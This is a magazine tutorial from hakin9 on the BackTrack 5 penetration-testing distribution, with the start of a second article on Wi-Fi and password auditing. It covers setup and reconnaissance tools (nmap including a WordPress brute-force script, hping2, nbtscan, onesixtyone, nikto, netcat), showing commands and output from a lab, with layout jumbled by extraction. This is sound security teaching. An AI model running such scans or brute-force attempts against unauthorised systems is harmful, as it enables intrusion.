FOR INTERNATIONAL ORDERS: McGraw-Hill Professional www.mcgraw-hill.co.uk PHONE: 44 (0)1628 502700

ALEX KAH

ONDEMAND Become Quieter with a Little Help from BT

"The quieter you become, the more you are able to hear." -BackTrack

BackTrack Live Security Linux Distribution Overview/Tutorial

When you are faced with a task of testing your production environment and strengthening your defenses, your choice of the tool is easy. Instead of concentrating on collecting penetration (pen) testing tools, just head to BackTrack website and download an image of one of the most popular white hat penetration testing and security auditing platforms. It's #7 on the *sectools.org* Top 125 Security Tools list.

BackTrack is a merger between three different live Linux penetration testing distributions: Whoppix, IWHAX and Auditor. The current version BackTrack version 5 R2 (Code Name Revolution) is based on Ubuntu Linux distribution version 10.04.3 LTS (Lucid Lynx), which means good stability, hardware detection and a lot of easily obtainable software. It's available in GNOME and KDE window managers (you can also configure FluxBox window manager), and for 32-bit, 64-bit and ARM architecture. It comes with over 300 PenTesting tools.

First Steps

You can run the distribution as a Live DVD or install it as a regular operating system on a hard disk or USB flash drive. The Live DVD offers these different boot options:

- Default text mode boots into a customized Linux shell. You can work on the command-line or boot into the desktop environment by using the startx command.
- Stealth mode boots the OS with networking disabled.
- Forensics mode boots without automatically mounting drives or swap space.

- noDRM boots without DRM (*Direct Rendering Manager*) drivers. DRM are Linux kernel modules that enable certain applications to use a GPU more efficiently, especially 3D rendering. Use this option if the boot halts or if you have screen problems.
- Debug boots into Safe Mode. Choose this option if you have problems getting BackTrack to boot. For example, if you are having screen problem and the noDRM option doesn't fix it, boot into *Debug* mode and try adding the nomodeset parameter. It instructs the kernel to not load video drivers and use BIOS modes instead until X Window System is loaded. To do that: while in the boot menu, highlight the BackTrack Debug – Safe Mode, press Tab in order to edit the boot option and add nomodeset to the end of the list.
- Memtest starts memory diagnostic utility.
- Hard Drive Boot boots the first hard disk.

Even though BackTrack is primarily intended to work as a live DVD, for my test environment I installed it as a virtual machine in VirtualBox because I like the convenience of switching between BT and Mac OS X on the fly. It's also useful to configure BackTrack this way if you plan to use it regularly or customize it. The full install requires about 12 GB.

When you are running BT5 in the virtual machine, you can't use a wireless card because the virtual machine software blocks access to the hardware except for USB devices. To be able to use wireless portion of the tools in the virtual machine, you can install a USB wireless card. BackTrack site has a list of compatible cards called Tested and Working Cards List (*Note that this list needs*

to be updated for BT5): http://www.backtrack-linux.org/ wiki/index.php/Wireless_Drivers#Wireless_Cards.

After you log in for the first time into the desktop environment, double click on the *Install BackTrack* icon on the desktop. This will launch the Install wizard, with expected steps: set up the clock, time zone, prepare disk space, copy files, restart the system. After restart, change root password. The default password is 'toor'.

My Test Lab Environment

- BackTrack 5 R2 (Architecture: 64-bit, Desktop Environment: KDE 4.5.3)
 - Running on VirtualBox 4.1.16 on
 - MacBook Pro i7 2.66 GHz / 8 GB RAM with Mac OS X 10.6.8
- Network:
 - Two 32-bit Linux CentOS 5.x boxes: a Linux MASQ client behind a Linux MASQ server.
 MASQ client is running MySQL, Samba share, and WordPress and Joomla CMSs on Apache.
 - One Win 7 Pro system with some open ports.

Note: Oracle released VirtualBox 4.1.16 on May 22, 2012.

The BackTrack comes with the following tool categories (Figure 1):

- Information Gathering
- Vulnerability Assessment
- Exploitation Tools
- Privilege Escalation
- Maintaining Access
- Reverse Engineering
- RFID Tools
- Stress Testing
- Forensics

10	<u>B</u> ackTrack	٠	9	Information Gathering	×
-	<u>G</u> raphics	•	1	<u>V</u> ulnerability Assessment	٠
۲	Internet	×		Exploitation Tools	۲
掘	<u>M</u> ultimedia	۲	5	Privilege Escalation	۲
8	<u>O</u> ffice	۲	•	Maintaining Access	۲
×	<u>S</u> ettings	۲	ŨT	<u>R</u> everse Engineering	×
٠	System	•	X	RFID Tools	•
B	<u>U</u> tilities	۲	•	Stress Testing	•
1	<u>W</u> ine	•	*	<u>F</u> orensics	۲
2	<u>L</u> ost & Found	۰.	Ē.	Reporting Tools	٠
*	<u>F</u> avorites	۲	æ	Services	۲
٩	Run Command		?	Mis <u>c</u> ellaneous	۲
U	L <u>e</u> ave	۲			

Figure 1. *BackTrack 5 R2 – Tool Categories*

- Reporting Tools
- Services
- Miscellaneous

You can find all the tools under BackTrack item in the application launcher menu. Most of the tools are command-line utilities, with menu items linking the console with the relevant tool running inside it.

Tip!

If you are wondering whether some of the tools are accessible via GUI menu, and if are using BackTrack with KDE Desktop, you can quickly search the menu for the tool you are interested in by performing the following: right-click on the *Application Launcher Menu* and from the pop-up menu choose *Switch to Kickoff Menu Style* option. After that, click on the *Application Launcher Menu* and type the name of the tool in the *Search* box.

This article will not cover wireless and Bluetooth devices audit, and using the gdb (GNU Debugger) for analyzing crash dumps and memory cores.

Configuring Ethernet for Virtual Machine

VirtualBox's default network configuration for a virtual machine is NAT (*Network Address Translation*). This mode prevents connections from the outside to the guest VM, in this case, BackTrack. To enable outside connections, change the VM networking to Bridge Mode: power off the BackTrack virtual machine, open VirtualBox, select the BackTrack VM, choose *Settings>Network*. In the "Attached to:" drop-down box, change the *Attached* to *Bridged Adapter*. In the "Name" drop-down box, select a network interface that is connected to the network you want to test. Also, enable *Promiscuous Mode*: expand the *Advanced section*, and in the *Promiscuous Mode* drop-down list, change the Deny to Allow VMs.

Assigning a Static IP Address

Assign a static IP address to the interface by modifying the /etc/network/interfaces file. Locate the line with your interface identifier and modify it to reflect your settings. For example, I had to change the line for eth0 entry: from:

auto eth0 iface eth0 inet dhcp

to:

auto eth0 iface eth0 inet static address 192.168.1.69 netmask 255.255.25.0

network 192.168.1.0 broadcast 192.168.1.255 gateway 192.168.1.254

Note

If you are switching between wireless and Ethernet interface on your *host* system (in my case Mac OS X), don't forget to change network settings to reflect the change: power off the BackTrack virtual machine, open *VirtualBox*, select the BackTrack VM, choose *Settings>Network* and choose appropriate network interface in the "Name" drop-down box.

I forgot to do that and was wondering why network in BackTrack was in an unconfigured state after I restarted networking service. This is what happened: I turned off my MacBook Pro's AirPort wireless and brought it to a space that has only Ethernet connection. Next day, I continued performing tests with BT. In this setup, I don't need a static IP address so I commented out lines related to static setup in the /etc/network/interfaces file and replaced it with a dhcp line. However, I had forgotten

Listing 1. shell code I

nmap -A T4 mytesthost.info
Starting Nmap 5.61TEST4 (http://nmap.org) at 2012-
01-01 08:00 PDT
Failed to resolve given hostname/IP: T4. Note that
you can't use '/mask' AND '1-
4,7,100-' style IP ranges. If
the machine only has an IPv6
address, add the Nmap -6 flag to
scan that.
Nmap scan report for mytesthost.info (xx.xx.xx.xx)
Host is up (0.011s latency).
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
53/tcp filtered domain
80/tcp open http Apache httpd 2.2.3
((Red Hat))
< cut for clarity >
2
Listing 2. shell code II
ping mytesthost.info
PING mytesthost.info (192.168.1.10) 56(84) bytes of
data.
AC

--- mytesthost.info ping statistics ---21 packets transmitted, 0 received, 100% packet loss, time 19999ms to change the adapter and I didn't have network access until I changed it from AirPort wireless to Ethernet.

Another method for fixing networking issues is refreshing network settings without shutting down BT virtual machine: choose *Not Attached* in VirtualBox Network settings for the BackTrack VM. That way VirtualBox reports to the BT guest that a network card is present but that there is no connection. This will disrupt

List	t ing 3. shell cod	de III			
tra	ceroute mutes	thost info			
tra	traceroute to mytesthost.info (192.168.1.10), 30				
	hops max, 60 byte packets				
1	myrouter.home (192.168.1.254) 1.485 ms 3.635				
		ms 5.230	ms		
2	xx.xx.xx.xx	(xx.xx.xx)	19.393 ms	32.183 ms	
		33.188 ms			
3	* * *				
4	XX.XX.XX.XX	(xx.xx.xx)	20.656 ms	24.826 ms	
_	11	24.933 ms	01 150	01 700	
5	xx.ispi.net	(XX.XX.XX.XX)	21.150 MS	21.732 MS	
6	xx isp2 com	(xx xx xx xx)	39 551 ms	23 901 ms	
Ŭ		24.860 ms	001001 110	20.001 100	
7	xx.isp3.net	(xx.xx.xx.xx)	25.894 ms	25.408 ms	
		40.113 ms			
8	xx.isp3.net	(xx.xx.xx)	41.770 ms	42.317 ms	
		45.064 ms			
9	xx.isp4.net	(xx.xx.xx)	42.931 ms	45.680 ms	
		50.705 ms			
10	xx.isp4.net	(xx.xx.xx)	51.416 ms	53.645 ms	
1 1		54.413 ms			
12	* * *				
13	* * *				
14	* * *				
15	* * *				
16	* * *				
17	* * *				
18	* * *				
19	* * *				
20	* * *				
21	* * *				
22	* * *				
23	* * *				
25	* * *				
26	* * *				
27	* * *				
28	* * *				
29	* * *				
30	* * *				

the connection and will enforce a reconfiguration. Refresh network settings or restart networking service in BackTrack Linux and then revert VirtualBox Network settings back to *Bridged Adapter*.

Information Gathering

If you thought that you'd never get complete route information by running the traditional traceroute command because firewalls usually block traceroute, you'll be happy to know that there is a tool that will help you in this regard. Its name is tcptraceroute. In contrast to the traceroute, which sends UDP or ICMP ECHO packet

```
Listing 4. shell code IV
```

```
tcptraceroute mytesthost.info
Selected device eth0, address 192.168.1.69, port
                 34311 for outgoing packets
Tracing the path to mytesthost.info (xx.xx.xx.xx) on
                 TCP port 80 (www), 30 hops max
1 192.168.1.254 5.696 ms 1.703 ms 3.091 ms
2 xx.xx.xx 25.971 ms 107.932 ms 12.276 ms
 3 xx.xx.xx 12.418 ms 13.023 ms 14.674 ms
 4 xx.xx.xx 19.982 ms 13.910 ms 15.947 ms
 5 xx.ispl.net (xx.xx.xx) 11.402 ms 16.031 ms
                 12.582 ms
 6 xx.isp2.com (xx.xx.xx) 28.809 ms * *
 7 xx.isp3.net (xx.xx.xx.) 31.723 ms * *
 8 xx.isp3.net (xx.xx.xx) 28.497 ms 25.421 ms
                 24.699 ms
 9
   xx.isp4.com (xx.xx.xx) 25.798 ms 26.443 ms
                 23.678 ms
10 xx.isp4.com (xx.xx.xx) 24.737 ms 24.923 ms
                 25.235 ms
11 xx.xx.xx 23.803 ms * 29.230 ms
12 mytesthost.info (xx.xx.xx.xx) [open] 25.584 ms
                  * 35,513 ms
```

Listing 5. shell code V

with a *Time To Live* (TTL) of one, and incrementing it until reaching the target, the tcptraceroute is sending a TCP SYN packet to the target. Even if firewalls block traceroute, they allow incoming TCP packets to certain TCP ports. That's why the tcptraceroute can reach the target behind the firewall. It will receive a SYN/ACK packet if the port is open, and a RST packet if the port is closed.

Port Scanning

Let's first check if our test host has open ports. We will use the $_{nmap}$ command for that. Nmap (Network Mapper) is a port scanner and network exploration tool. Argument $_{-A}$ enables OS detection, script scanning and traceroute, while argument $_{-T4}$ is for faster execution (Listing 1).

This confirmed that the test host is a web server. Now let's try ping-ing our test host: Listing 2.

We weren't getting any response so I stopped ping. Its output indicates that all packets were lost so it seems that there is a filter between the test host and us.

If we try to obtain network route to the test host with the traceroute, we'll see that it's not available after the 10th route: Listing 3.

However, with the tcptraceroute: ta-daaa! We've obtained the complete route information (Listing 4).

Genlist – Ping Scanner

Next phase in information gathering process is identifying available machines in the target network and finding out their operating systems.

We will use the genlist tool to obtain a list of hosts responding to ping probes. To access it, go to the menu: *BackTrack>Miscellaneous>MiscellaneousNetwork>genlist*. Alternatively, you can invoke it from the command-line by typing genlist.

For my test network, genlist generated this list:

```
genlist -s 192.168.1.\*
192.168.1.64
192.168.1.65
192.168.1.67
192.168.1.69
192.168.1.254
```

Hping2

Hping 2 is a TCP/IP packet assembler/analyzer. You can use it to probe firewall rules, fingerprint OSs and perform advanced port scanning. To access it, go to the menu: *BackTrack > Information Gathering > Network Analysis > Identify Live Hosts > hping2* or type hping2 (followed by arguments) in Terminal. For usage and to get a list of arguments, type hping2 --help.

 $_{\tt hping2}$ can help in discovering whether a host is alive (powered on and online), in cases where the $_{\tt ping}$

Listing 6. shell code VI

```
hping2 192.168.1.5
HPING 192.168.1.5 (eth0 192.168.1.5): NO FLAGS are
                   set, 40 headers + 0 data bytes
len=46 ip=192.168.1.5 ttl=32 id=0 sport=0 flags=R
                   seq=0 win=512 rtt=1.0 ms
^C
```

^C

```
--- 192.168.1.5 hping statistic ---
1 packets tramitted, 1 packets received, 0% packet
                   1055
round-trip min/avg/max = 1.0/1.0/1.0 ms
```

Listing 7. shell code VII

```
root@bt:~# hping2 -S -c 2 -p 22 192.168.1.9
HPING 192.168.1.5 (eth0 192.168.1.9): S set, 40
                   headers + 0 data bytes
len=46 ip=192.168.1.9 ttl=60 DF id=0 sport=22
                   flags=SA seq=0 win=5840 rtt=3.7
                    ms
len=46 ip=192.168.1.9 ttl=60 DF id=0 sport=22
                   flags=SA seg=1 win=5840 rtt=3.4
```

ms

```
--- 192.168.1.9 hping statistic ---
2 packets tramitted, 2 packets received, 0% packet
                   loss
round-trip min/avg/max = 3.4/3.6/3.7 ms
```

Listing 8. shell code VIII

```
hping2 --scan 1-1024 -S testhost.info
Scanning testhost.info (192.168.1.20), port 1-1024
1024 ports to scan, use -V to see all the replies
|port| serv name | flags |ttl| id | win |
+----+
  22 ssh
             :.S..A... 60 0 5840
             :.S..A... 60 0 5840
  80 www
All replies received. Done.
Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4
               echo) (5 ) (6 zip) (7 echo) (8
                ) (9 discard) (10 ) (11 systat)
               (12 ) (13 daytime) (14 )
... ...
< cut for clarity >
```

```
(1016 ) (1017 ) (1018 ) (1019 ) (1020 ) (1021 )
                  (1022 ) (1023 ) (1024 )
```

command doesn't work. In this example, ping reports 100% packet loss: Listing 5.

However, hping2 reports 0% packet loss for the same host. The target sent back the R (RST) flag: Listing 6.

If your ping attempt to a host is blocked because of a firewall, try changing TCP flag and the destination port, e.g. to SSH (22), SMTP (25), www (80), HTTPS (443). Options -s > set SYN flag; -c > packet count; -p> destination port. The target sent back SA (SYN-ACK) flag so it's alive: Listing 7.

Here's an example of using hping2 for open port discovery: Listing 8. This host has two opened ports: 22 and 80.

Nbtscan – NetBIOS Scanner

If you need to search for the NetBIOS name information, use the nbtscan command. To access it, go to the menu: BackTrack>Information Gathering>Network Analysis>Service Fingerprinting>nbtscan or type nbtscan in Terminal.

nbtscan discovered one NetBIOS name in the test network: Listing 9.

For verbose output that will print all names received from each host, use -v argument: Listing 10.

To display services in human-readable form, use -h argument, which can only be used with -v option: Listing 11.

onesixtyone – SNMP Scanner

To detect whether there is a Simple Network Monitoring Protocol (SNMP) string on a device, use the onesixtyone scanner. To access it, go to: BackTrack>Information Gathering>Network Analysis>SNMPAnalysis>onesixtyone.

This will bring you to the console, showing the usage for onesixtyone. When you try running it by typing onesixtyone ipaddress, you will receive the following error message:

The program 'onesixtyone' is currently not installed. You can install it by typing: apt-get install onesixtyone You will have to enable the component called 'universe'

However, you will not have to install it because it's already on the system but not included in the PATH environment variable:

echo \$PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin: /sbin:/bin:/usr/X11R6/bin:/etc/alternatives/gem-bin

You can remedy this by either updating the PATH variable with onesixtyone's path or by typing the whole path to onesixtyone: Listing 12.

```
Listing 9. shell code IX
nbtscan 192.168.1.1-254
Doing NBT name scan for addresses from 192.168.1.1-254
           NetBIOS Name Server
                                          MAC address
TP address
                                 User
_____
192.168.1.65 MYHOST1
                         <server> <unknown> 12-34-56-78-9a-bc
                                                    Listing 12. shell code XII
Listing 10. shell code X
nbtscan -v 192.168.1.1-254
                                                    locate onesixtyone
Doing NBT name scan for addresses from 192.168.1.1-254
                                                    /pentest/enumeration/snmp/onesixtyone
                                                    /pentest/enumeration/snmp/onesixtyone/dict.txt
NetBIOS Name Table for Host 192.168.1.65:
                                                    /pentest/enumeration/snmp/onesixtyone/onesixtyone
                                                    /usr/share/applications/backtrack-
Incomplete packet, 209 bytes long.
                                                                     onesixtyone.desktop
                                                    /var/lib/dpkg/info/onesixtyone.copyright
Name
      Service Type
                                                    /var/lib/dpkg/info/onesixtyone.list
_____
                           _____
MYHOST1
             <00>
                            UNIQUE
WORKGROUP
             <00>
                                                    Listing 13. shell code XIII
                             GROUP
WORKGROUP
             <1e>
                             GROUP
MYHOST1
             <20>
                            UNIQUE
                                                    /pentest/enumeration/snmp/onesixtyone/onesixtyone
WORKGROUP
             <1d>
                                                                    192.168.10.20
                            UNIQUE
                                                    Scanning 1 hosts, 2 communities
                                                    No communities file, using default
                                                    Cant open hosts file, scanning single host:
Adapter address: 12-34-56-78-9a-bc
_____
                                                                    192.168.10.20
                                                    192.168.10.20 [public] HP LaserJet xxxxdn /P
Listing 11. shell code XI
                                                    Listing 14. shell code XIV
nbtscan -hv 192.168.1.1-254
Doing NBT name scan for addresses from 192.168.1.1-254
                                                    nmap 192.168.1.6
                                                    Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-
NetBIOS Name Table for Host 192.168.1.65:
                                                     01-01 09:06 PDT
                                                    Nmap scan report for myhost2.home (192.168.1.6)
                                                    Host is up (0.010s latency).
Incomplete packet, 209 bytes long.
Name Service Type
                                                    Not shown: 993 closed ports
                                                    PORT STATE SERVICE
_____
MYHOST1
              Workstation Service
WORKGROUP
                                                    53/tcp filtered domain
             Domain Name
WORKGROUP
             Browser Service Elections
                                                    80/tcp filtered http
MYHOST1
             File Server Service
                                                    110/tcp filtered pop3
WORKGROUP
             Master Browser
                                                    443/tcp filtered https
MSBROWSE Master Browser
                                                    8080/tcp open http-proxy
                                                    8888/tcp open sun-answerbook
Adapter address: 12-34-56-78-9a-bc
                                                    MAC Address: 00:11:22:33:44:55
                                                    Nmap done: 1 IP address (1 host up) scanned in 3.03
```

seconds

I decided to use the latter approach: Listing 13. ... And we discovered that the host we queried is an HP LaserJet printer.

Nmap

I already mentioned nmap, the venerable port scanner, when we were confirming opened ports for our tcptraceroute exercise. In addition to port scanning, nmap offers operating system and service detection, and it has its own scripting engine, called *Nmap Scripting Engine* (NSE). You can get a list of scripts that come with the nmap package by listing the content of the /usr/local/share/nmap/scripts directory. These scripts can automate scanning tasks or provide additional information. Some examples include: enumerate directories used by popular web applications and servers, display the HTTP headers returned, perform brute force password auditing against popular CMS/ blog installations, enumerate usernames in CMS installations by exploiting vulnerabilities.

Let's first run regular $_{nmap}$ scan. It discovered that the test server hosts a web server on ports 8080 and 8888: Listing 14.

Now, let's collect more details about the web server and check for possible WordPress CMS vulnerabilities by adding some $_{nmap}$ scripts. It'll take some time... If you want to know the status of the current scan, just press the Enter key and $_{nmap}$ will display percentage of the scan completed so far and an approximate time remaining until the scan completes (Listing 15).

The scan with http and wordpress scripts provided more details: web server application type, PHP version, and it confirmed that WordPress is indeed running on

Listing 15. shell code XV

```
nmap --script http-enum, http-headers, http-methods, http-php-version, http-wordpress-brute, http-wordpress-
                   enum, http-wordpress-plugins -p 8080 192.168.1.6
Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-01-01 17:11 PDT
Stats: 0:04:02 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 55.56% done; ETC: 17:22 (0:04:54 remaining)
Stats: 0:06:40 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
Nmap scan report for myhost2.home (192.168.1.6)
Host is up (0.0046s latency).
       STATE SERVICE
PORT
8080/tcp open http-proxy
| http-headers:
   Date: Sun, 01 Jan 2012 00:11:44 GMT
T.
   Server: Apache
   X-Powered-By: PHP/5.3.3
   X-Pingback: http://192.168.1.6:8080/xmlrpc.php
   Connection: close
   Content-Type: text/html; charset=UTF-8
Т
(Request type: HEAD)
| http-methods: No Allow or Public header in OPTIONS response (status code 200)
| http-php-version: Versions from credits query (more accurate): 5.3.3
| Version from header x-powered-by: PHP/5.3.3
| http-enum:
/wp-login.php: Possible admin folder
| http-wordpress-brute:
| Accounts
     No valid accounts found
1
  Statistics
    Performed 2074 guesses in 600 seconds, average tps: 3
1
MAC Address: 00:11:22:33:44:55
Nmap done: 1 IP address (1 host up) scanned in 601.46 seconds
```

this host. Also, the scan informed us that WordPress provides an XML-RPC pingback.

Zenmap

Zenmap is a graphical front-end for nmap. To access it, go to: *BackTrack>Information Gathering>Network Analysis>Network Scanners>zenmap* or type zenmap in the Terminal. After you start zenmap, you can choose between 10 different profiles from the "Profile" dropdown box (Figure 2). If these profiles don't meet your needs, you can create new ones by going to the "Profile" menu and choosing the "New Profile or Command" menu option.

For my test host 192.168.1.67, I typed it in the "Target" text box and for Profile I chose "Regular scan". Discovered details are categorized in Ports/Hosts, Topology, Host Details and Scans tabs (Figure 3).

Tcpdump

Another venerable network tool, tcpdump, dumps traffic on a network. I use it either to quickly check network traffic or in combination with wireshark (formerly Ethereal). Both tcpdump and wireshark are located in BackTrack> Information Gathering>Network Analysis>Network Traffic Analysis. You can also invoke them by typing tcpdump or wireshark, respectively, in the Terminal.

When I want to quickly check network traffic, I just run tcpdump without any options. In that case, it listens



Figure 2. Zenmap – Graphical front-end for nmap

🕺 💿						
	<u>⊣</u> elp					
Target: 192.168.1.67			Regular scan		Scan	Cancel
Command: nmap 192						
	Nmap Outp	out Ports /	Hosts Topology	Host Details	Scans	
		168.1.67			* I	Details
💇 computer-2.hc	Nmap scar	n report f	or <mark>computer-2</mark>	.home (192.	168.1.6	7) 🔺
	Not shown	1: 989 cla STATE	sed ports SERVICE			
	25/tcp	filtered	smtp			
	80/tcp	filtered	http			
	139/tcp	filtered	netbios-ssn			
	443/tcp 445/tcp	filtered	microsoft-ds			
	1863/tcp 4242/tcp	filtered	msnp vrml-multi-us	e		
a 👘	8080/tcp	open	http-proxy			
Filter Hosts	8888/tcp	open	sun-answerboo	k		

Figure 3. Zenmap scan results

on the default network interface and displays all of the packets to standard output in real time. For more specific packet captures, I supply it arguments and then open the captured file with wireshark. Wireshark is nice for this because it allows filtering and highlighting of packets.

To listen on etho network interface with highest verbosity and to save the raw packets to a file:

tcpdump -vvv -i eth0 -w tcpdumpscan1.cap

Another example: Capture 1500 bytes of data from each packet instead of the default of 65535 bytes, with a slightly more verbosity, save it to a file named tcpdumpscan2.cap. In addition, capture packets between a specific host and the whole C-class network, only on port 9999:

tcpdump -vi eth0 -s 1500 -w tcpdumpscan2.cap host testhost.com and net 192.168.1.0/24 and tcp port 9999

2) (1)	Nikto Report - Mozilla Firefox 🔷 🗸
<u>File Edit View History</u>	Bookmarks Tools Help
Nikto Report	+
🦾 📩 🔞 🦳 file:///rr	aot/scan.html
testsite.com / 192.	168.1.7
port 80	
Target IP	192 168 1 7
Target hostname	testsite.com
Target Port	80
HTTP Server	Apache
Site Link (Name)	http://testsite.com:80/
Site Link (IP)	http://192.168.1.7:80/
URI	1
HTTP Method	GET
Description	Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE
Test Links	http://testsite.com:80/
OSVDB Entries	OSVDB-0
URI	1
HTTP Method	GET
Description	HTTP TRACE method is active, suggesting the host is vulnerable to
	XST
Test Links	http://testsite.com:80/
	http://192.168.1.7:80/
OSVDB Entries	<u>OSVDB-877</u>
URI	/icons/
HTTP Method	GET General Directory indexion formal
Description	/icons/: Directory indexing round.
lest Links	http://192.168.1.7:80/icons/
OSVDB Entries	OSVDB-3268
URI	/icons/README
HTTP Method	GET
Description	/icons/README: Apache default file found.
Test Links	http://testsite.com:80/icons/README
	http://192.168.1.7:80/icons/README
OSVDB Entries	<u>OSVDB-3233</u>
Host Summary	
Start Time	2012-01-01 22:04:26
End Time	2012-01-01 22:27:31
Elapsed Time	1385 seconds
Statistics	6474 items checked, 12 errors, 4 findings
Scan Summary	
Software Dataila	Nikto 2.1 E
Software Details	NIKIO 2.1.5
Lests Tested	-n testsite.com -D V -o scan.ntml -F ntm
Rest Time	1 Sup Jap 01 22:04:25 2012
End Time	Sun Jan 01 22:04:25 2012 Sun Jan 01 22:07:31 2012
Flansed Time	1386 seconds
Lupseu mile	2000 Seconds
© 2008 CIRT, Inc.	

Figure 4. Nikto scan results – report page

Nikto – Web Server Assessment Tool

Nikto is a web server assessment tool. To access it, go to: BackTrack>Vulnerability Assessment>Web Application Assessment>Web Vulnerability Scanners>nikto.

This will bring you to the console, showing the usage for <code>nikto</code>. When you try running it by typing <code>nikto</code>, you will receive the following error message:

```
Listing 16. shell code XVI
```

```
nc -v -n -z -w1 192.168.1.67 1-65535
```

(UNKNOWN) [192.168.1.67] 65535 (?) : Connection timed out

< cut for clarity > (UNKNOWN) [192.168.1.67] 8080 (http-alt) open

...
< cut for clarity >
(UNKNOWN) [192.168.1.67] 8888 (?) open
... ...

```
< cut for clarity >
```

Listing 17. shell code XVII

Listing 18. shell code XVIII

nikto --help
The program 'nikto' is currently not installed. You can
install it by typing:
apt-get install nikto
You will have to enable the component called 'multiverse'

Similar to the onesixtyone, you will not have to install nikto because it's already on the system but not included in the PATH environment variable. I solved this by typing the whole path to nikto:

/pentest/web/nikto/nikto.pl -h testsite.com -D V -o scan.html -F htm

Launch your favourite Web browser and open the report html file. It will display all vulnerabilities that nikto discovered. For my test website, it discovered four of them (Figure 4).

To get more information about a particular vulnerability, browse to Open Source Vulnerability Database website (http://www.osvdb.org/) and under Quick Searches, in the OSVDB ID Lookup text box enter the OSVDB ID and press on the Go button. This will bring a very informative page, which will, between other details, include the solution.

Netcat (nc) – TCP/IP Swiss Army Knife

Netcat is known as "TCP/IP Swiss army knife". It reads and writes data across network connections, using the TCP/IP protocol. Some of its features are port scanning and port listening; however, its full list of features is much longer.

To listen for inbound connections on port 9999:

nc -l -p 9999

To obtain information about a host's TCP servers, send a string (e.g. word 'EXIT') and use timeout. This will result in the server responding with a greeting or error, which will contain details about the service, e.g. its version.

echo EXIT | nc -v -w 5 192.168.1.8 22 Connection to 192.168.1.8 22 port [tcp/ssh] succeeded! SSH-2.0-OpenSSH_4.3 Protocol mismatch.

To get a web server's details, including web application and PHP version:

 First, scan for all ports, including ephemeral ports in order to check for web servers running on alternative ports. Options: -v > run verbosely; -n > don't resolve names; -z > don't send data; -w1 > don't wait longer than 1 second for a connection to occur (Listing 16).

References

- BackTrack: http://www.backtrack-linux.org/
- BackTrack forums: http://www.backtrack-linux.org/forums/
- BackTrack how-to: http://www.backtrack-linux.org/tutorials/
- Detailed instructions on installing BackTrack in VirtualBox: http://www.backtrack-linux.org/wiki/index.php/Virtual Box_Install
- Oracle VirtualBox: https://www.virtualbox.org/
- VirtualBox News: https://www.virtualbox.org/wiki/News
- After that, issue a HEAD HTTP request to discovered open ports. If web servers are running on those ports, the response will contain HTTP header: Listing 17 and Listing 18.

To keep BackTrack updated, use the following two commands:

apt-get update apt-get upgrade

If you receive message "The following packages have been kept back", force the upgrade by running:

apt-get update apt-get dist-upgrade

BackTrack creators strongly urge against adding the Ubuntu repositories to BT install because Backtrack tools are built with many custom features and custom kernel so installing non-customized packages that haven't been tested on BT would most likely result in breaking the system.

Conclusion

BackTrack is a complete testing package, containing an impressive array of tools. It's a stable and easily updated system. In my tests, I've encountered only two very minor issues, related to the PATH environment variable, so they were easy to fix. Exploring more than 300 tools will keep you occupied for a long time.

DUSKO PIJETLOVIC



Dusko Pijetlovic is an IT Manager and Sr. Systems Administrator in Vancouver, Canada and holds a M.Sc. in Mechanical Engineering and Diploma of Technology in Computer Systems Technology. He is a proponent of GNU/Linux and Free and Open Source Software, with a passion for security, solving problems and helping

organization members perform their jobs with excellence and efficiency.



hakin9 team!



If you would like to help our team in creating hakin9 magazine you can join our authors or betatesters today!

All you need to do, is to send an email to:

editors@hakin9.org

and give us a brief description of your field of interest.

We look forward to hearing from you!

ONDemanD BackTracking in Wifi Country

The BackTrack 5 distribution continues to be the "go to" tool in a security professional's arsenal. With the latest release, "Revolution," the Backtrack development team delivers a kit you can use anywhere on both light and heavy duty security tasks.

n this practical guide, we'll cover auditing Windows passwords and wireless keys, as well as forensic recovery using BackTrack on a USB, in a persistent hard drive installation and running in a virtual machine.

BackTrack Everywhere

The key to a useful tool is not only the function of the tool; it's having it available where you want it when you need it. The best tools in the world won't do you much good if they're not with you when you need them. That's where BackTrack comes in.

BackTrack 5 provides over three hundred individual tools built on an Ubuntu base. More than just a collection of tools, BackTrack aligns with familiar security testing methodologies:

- Information Gathering
- Vulnerability Assessment
- Exploitation
- Privilege Escalation
- Maintaining Access

The current release is available for 32-bit and 64-bit platforms and earlier releases include ARM support. It can be downloaded in Gnome or KDE variations, as an ISO image to run as a Live distribution, or installed on a USB flash drive or a hard drive. Earlier 32-bit releases are prepackaged to run in VMware.

With so many tools and the ability to run it in so many ways, a security professional can be assured of immediate access to a tool that's ready to go when and where it's needed. As we move from one installation of BackTrack to the next, we gain familiarity with a common interface and a complete set of tools that line up with common security methodologies.

Choosing a Path

In this article we'll use BackTrack to perform three common tasks for a security professional: auditing Windows and Wifi keys, capturing a drive image, and recovering deleted files.

In performing these tasks, we'll bounce between installations of BackTrack on USB flash drives, in virtual machines and installed directly to a hard drive. In each case, choosing the right platform for the task at hand.

Due to sheer size of BackTrack and time and space limitations of this article, we only scratch the surface of what you can do with BackTrack. However, we hope you'll get a solid grasp for how to use a few key tools included with BackTrack, and more importantly, see how various installation approaches allow you to tackle different parts of a job and make your task easier.

Throughout this article, we'll refer to the BackTrack website (*http://www.BackTrack-linux.org*). Not only will you download the distributions we'll be using there, but you will also find many detailed HOWTO's and guides on taking BackTrack to the next level.

The best tools for any job are available immediately and conveniently and lack a steep learning curve. Simply put, when you need BackTrack it can be just about anywhere, and it will be the same every time you boot it.

Getting Started with BackTrack

Before beginning, we should understand the effect persistence has on our installation of BackTrack. Just like other Live CD/DVDs, booting and running BackTrack

directly from a DVD or a USB flash drive gets you up and running immediately and without the need to alter the hard drive in the PC. However, when you shutdown and reboot, you lose any files you've created or changes you've made (including updates) to the running BackTrack instance.

For this reason, many people prefer to run BackTrack from a local hard drive using dual boot, from a virtual machine, or from a persistent USB installation. All of these options are available and described at the BackTrack website.

For the examples in this article, our goal is to choose the installation based on the task we are performing and balance that with the need for persistence.

Our starting point is always the BackTrack download page found at *http://www.backtrack-linux.org/downloads*. After a quick (optional) registration, the Download button takes us to the release selector (Figure 1).

